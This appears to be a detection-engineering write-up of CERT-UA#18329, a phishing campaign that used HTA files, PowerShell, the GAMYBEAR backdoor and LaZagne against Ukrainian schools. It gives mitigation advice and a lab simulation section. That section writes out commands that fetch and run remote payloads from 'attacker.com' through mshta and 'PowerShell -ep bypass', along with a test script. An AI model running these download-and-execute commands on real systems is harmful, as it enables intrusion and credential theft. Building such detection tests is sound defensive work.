Targeted cyberattack on an eastern Ukraine school using the GAMYBEAR tool (CERT-UA#18329)

Summary

A credential-harvesting campaign hit schools and public agencies in the Sumy region via a phishing email containing a ZIP attachment. Opening the archive triggered an HTA file through the mshta utility, which then pulled down PowerShell scripts to deploy the GAMYBEAR backdoor and the LaZagne credential dumper, establish HTTP-based C2, and exfiltrate files from targeted directories.

Attack Analysis

CERT-UA linked the initial breach to a phishing message sent on May 26, 2025, from a hijacked Gmail account, providing the campaign details in the CERT-UA#18329 alert. Forensic analysis exposed a multi-stage infection chain: ZIP → HTA → update.js → PowerShell → GAMYBEAR accompanied by LaZagne malware, with persistence maintained via a Run-registry entry and recurring downloads from malicious URLs.

Mitigation

Enforce multi-factor authentication for all email accounts, block execution of HTA and untrusted PowerShell scripts, lock down the registry Run key, and implement application whitelisting. Continuously update endpoint detection rules to recognize the referenced filenames, hashes, and network indicators.

Response

Promptly isolate impacted endpoints, reset the compromised Gmail credentials, gather all identified IOCs, and run comprehensive scans for GAMYBEAR, LaZagne, and associated artifacts. Inform CERT-UA about the incident and distribute IOCs through relevant threat-intelligence sharing channels.

Simulations

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Stage 1 – Deploy malicious HTA: The attacker hosts evil.hta on a compromised web server.

  2. Stage 2 – Execute via mshta.exe: Using a Windows command prompt, the attacker runs mshta.exe http://attacker.com/evil.hta. This creates a process‑creation event with mshta.exe in the command line, satisfying the first clause of the rule.

  3. Stage 3 – PowerShell bypass: To run a payload that circumvents the system’s Execution Policy, the attacker launches PowerShell with the -ep bypass flag:

     PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMP\p.ps1; & $env:TEMP\p.ps1"

     This generates a second process‑creation event containing the exact string PowerShell -ep bypass, satisfying the second clause.

• Regression Test Script: The following PowerShell script reproduces the above steps in an automated, repeatable fashion.

  # -------------------------------------------------
  # Regression Test – Trigger Sigma Rule for mshta & PowerShell -ep bypass
  # -------------------------------------------------
  
  # Variables – adjust to your lab environment
  $htaUrl   = "http://127.0.0.1/evil.hta"   # Must point to a reachable HTA file
  $psUrl    = "http://127.0.0.1/payload.ps1" # Simple PS payload (e.g., `Write-Host "pwned"`)
  
  # 1. Invoke mshta.exe
  Write-Host "[*] Launching mshta.exe against $htaUrl"
  Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
  
  # Short pause to ensure the process logs
  Start-Sleep -Seconds 2
  
  # 2. Invoke PowerShell with execution‑policy bypass
  $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMP\p.ps1; & $env:TEMP\p.ps1"
  Write-Host "[*] Launching PowerShell -ep bypass"
  Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
  
  # Pause to allow logging
  Start-Sleep -Seconds 5
  
  Write-Host "[+] Test complete. Check your SIEM for alerts."

• Cleanup Commands: Remove temporary files and terminate any lingering test processes.

  # Cleanup temporary payload
  Remove-Item -Path "$env:TEMP\p.ps1" -ErrorAction SilentlyContinue
  
  # Optionally kill lingering mshta or PowerShell instances spawned by the test
  Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force